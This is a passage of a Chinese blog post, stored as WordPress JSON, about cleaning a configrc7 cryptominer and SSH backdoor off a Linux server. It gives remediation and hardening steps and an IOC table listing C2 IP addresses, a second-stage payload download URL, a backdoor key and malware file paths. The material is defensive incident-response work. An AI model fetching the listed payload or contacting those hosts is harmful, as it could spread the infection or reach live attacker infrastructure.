\u6e05\u9664\u540e\u7684\u5fc5\u505a\u5584\u540e<\/h3>\n<p>\u518d\u6b21\u5f3a\u8c03&#xff1a;\u6837\u672c\u88ab\u6e05\u6389\u4e0d\u7b49\u4e8e\u673a\u5668\u5b89\u5168\u3002 \u56e0\u4e3a\u5b83\u5df2\u53d6\u5f97 root \u5e76\u690d\u5165\u4e86 SSH \u540e\u95e8&#xff0c;\u7406\u8bba\u4e0a\u53ef\u4ee5\u5199\u4efb\u610f\u6587\u4ef6\u3001\u6539\u4efb\u610f\u914d\u7f6e\u3002\u6e05\u9664\u6837\u672c\u540e\u5fc5\u987b\u505a&#xff1a;<\/p>\n<li>\u6539\u6240\u6709 SSH \u5bc6\u7801&#xff0c;\u5305\u62ec root \u548c\u5176\u4ed6\u6240\u6709\u8d26\u6237&#xff1b;<\/li>\n<li>\u8f6e\u6362\u6240\u6709\u5bc6\u94a5&#xff0c;\u68c0\u67e5\u6bcf\u4e2a\u7528\u6237\u7684 ~\/.ssh\/authorized_keys&#xff1b;<\/li>\n<li>\u6392\u67e5\u9690\u85cf\u540e\u95e8&#xff1a;systemctl list-units\u3001\/etc\/rc.local\u3001\/etc\/profile.d\/\u3001\/etc\/init.d\/\u3001\/etc\/cron.*&#xff1b;<\/li>\n<li>\u9632\u706b\u5899\u5c01\u7981 C2&#xff1a;179.43.139.83\u3001209.99.186.7\u3001208.84.102.192&#xff1b;<\/li>\n<li>\u5982\u65e0\u6cd5\u786e\u8ba4\u5e72\u51c0&#xff0c;\u5efa\u8bae\u91cd\u88c5\u7cfb\u7edf\u6216\u4ece\u53ef\u4fe1\u5907\u4efd\u6062\u590d\u3002<\/li>\n<hr \/>\n<h3>6. \u590d\u76d8\u4e0e\u9632\u5fa1\u5efa\u8bae<\/h3>\n<p>\u8fd9\u6b21\u5165\u4fb5\u7684\u5165\u53e3\u6700\u53ef\u80fd\u662f SSH \u5f31\u53e3\u4ee4 \/ \u5bc6\u94a5\u6cc4\u9732\u3002\u9632\u5fa1\u5efa\u8bae&#xff1a;<\/p>\n<ul>\n<li>\u7981\u6b62 root \u5bc6\u7801\u767b\u5f55&#xff0c;\u6539\u7528\u5bc6\u94a5\u767b\u5f55&#xff1b;<\/li>\n<li>\u4fee\u6539\u9ed8\u8ba4 22 \u7aef\u53e3&#xff0c;\u6216\u9650\u5236\u6765\u6e90 IP&#xff1b;<\/li>\n<li>\u5b89\u88c5 fail2ban \/ \u4e91\u5382\u5546\u5b89\u5168\u7ec4\u505a\u767b\u5f55\u9891\u6b21\u9650\u5236&#xff1b;<\/li>\n<li>\u654f\u611f\u670d\u52a1\u5668\u5173\u95ed\u516c\u7f51 SSH&#xff0c;\u6539\u8d70\u8df3\u677f\u673a \/ \u5821\u5792\u673a&#xff1b;<\/li>\n<li>\u5b9a\u671f\u5907\u4efd &#043; \u76d1\u63a7 \/root \/tmp \/var\/tmp \u4e0b\u5f02\u5e38\u9690\u85cf\u76ee\u5f55&#xff1b;<\/li>\n<li>\u91cd\u8981\u4e1a\u52a1\u8d44\u4ea7\u542f\u7528\u9632\u7be1\u6539&#xff08;\u4f46\u4e0d\u662f\u9760 chattr &#043;ia \u8fd9\u79cd\u53ef\u7ed5\u8fc7\u7684\u5c0f\u6280\u5de7&#xff09;\u3002<\/li>\n<\/ul>\n<hr \/>\n<h3>\u9644\u5f55&#xff1a;\u5b8c\u6574 IOC \u6e05\u5355<\/h3>\n<table>\n<tr>\u7c7b\u578bIOC<\/tr>\n<tbody>\n<tr>\n<td>\u5b89\u88c5\u76ee\u5f55<\/td>\n<td>\/root\/.configrc7\/a\/\u3001\/root\/.configrc7\/b\/<\/td>\n<\/tr>\n<tr>\n<td>\u9690\u85cf\u8f7d\u8377<\/td>\n<td>\/tmp\/.X291-unix\/.rsync\/c\/aptitude<\/td>\n<\/tr>\n<tr>\n<td>\u6316\u77ff\u8fdb\u7a0b<\/td>\n<td>\u771f\u5b9e\u8def\u5f84\u542b .configrc7\/a\/crond&#xff0c;\u8fdb\u7a0b\u540d\u4f2a\u88c5\u4e3a crond<\/td>\n<\/tr>\n<tr>\n<td>IRC bot \u8fdb\u7a0b<\/td>\n<td>\u4f2a\u88c5\u8fdb\u7a0b\u540d edac0<\/td>\n<\/tr>\n<tr>\n<td>SSH \u540e\u95e8\u516c\u94a5<\/td>\n<td>ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4&#8230;&#061;&#061; mdrfckr<\/td>\n<\/tr>\n<tr>\n<td>\u770b\u95e8\u72d7<\/td>\n<td>\/root\/.configrc7\/a\/upd\u3001\/root\/.configrc7\/b\/sync<\/td>\n<\/tr>\n<tr>\n<td>\u8bf1\u9975\/\u9501\u6587\u4ef6<\/td>\n<td>\/usr\/bin\/systemtd\u3001\u88ab\u91cd\u547d\u540d\u7684 \/usr\/bin\/lkei<\/td>\n<\/tr>\n<tr>\n<td>C2 IP<\/td>\n<td>179.43.139.83:443\u3001209.99.186.7:443<\/td>\n<\/tr>\n<tr>\n<td>\u4e8c\u7ea7\u4e0b\u8f7d<\/td>\n<td>http:\/\/208.84.102.192\/kw0rker<\/td>\n<\/tr>\n<tr>\n<td>\u8ba1\u5212\u4efb\u52a1\u6807\u8bb0<\/td>\n<td>.configrc7\u3001.X291\u3001\/a\/upd\u3001\/b\/sync\u3001aptitude<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<p>\u5982\u679c\u4f60\u4e5f\u9047\u5230 .configrc7 \u8fd9\u4e2a\u76ee\u5f55&#xff0c;\u53ef\u4ee5\u76f4\u63a5\u7528\u4e0a\u9762\u7684\u4e13\u6740\u811a\u672c\u3002\u5982\u679c\u811a\u672c\u5728\u4f60\u7684\u53d1\u884c\u7248\u4e0a\u8dd1\u4e0d\u901a&#xff0c;\u6b22\u8fce\u5728\u8bc4\u8bba\u533a\u8d34\u62a5\u9519&#xff0c;\u6211\u4f1a\u6301\u7eed\u66f4\u65b0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6807\u7b7e&#xff1a;#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94<br \/>\n0. \u5199\u5728\u524d\u9762<br \/>\n\u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66&#xff1a;\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55&#xff0c;\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb&#xff0c;\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b&#xff0c;CPU \u6ca1\u98d9\u9ad8&#xff0c;\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55&#xff1a;.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86&amp;#xff0<\/p>\n","protected":false},"author":2,"featured_media":88848,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[58,61],"topic":[],"class_list":["post-88852","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-linux","tag-61"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/88852.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6807\u7b7e&#xff1a;#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94 0. \u5199\u5728\u524d\u9762 \u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66&#xff1a;\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55&#xff0c;\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb&#xff0c;\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b&#xff0c;CPU \u6ca1\u98d9\u9ad8&#xff0c;\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55&#xff1a;.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86&amp;#xff0\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/88852.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-01T13:08:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defdd41917.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/88852.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/88852.html\",\"name\":\"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-01T13:08:46+00:00\",\"dateModified\":\"2026-08-01T13:08:46+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/88852.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/88852.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/88852.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/88852.html","og_locale":"zh_CN","og_type":"article","og_title":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6807\u7b7e&#xff1a;#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94 0. \u5199\u5728\u524d\u9762 \u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66&#xff1a;\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55&#xff0c;\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb&#xff0c;\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b&#xff0c;CPU \u6ca1\u98d9\u9ad8&#xff0c;\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55&#xff1a;.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86&amp;#xff0","og_url":"https:\/\/www.wsisp.com\/helps\/88852.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-01T13:08:46+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defdd41917.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/88852.html","url":"https:\/\/www.wsisp.com\/helps\/88852.html","name":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-01T13:08:46+00:00","dateModified":"2026-08-01T13:08:46+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/88852.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/88852.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/88852.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/88852","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=88852"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/88852\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/88848"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=88852"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=88852"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=88852"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=88852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}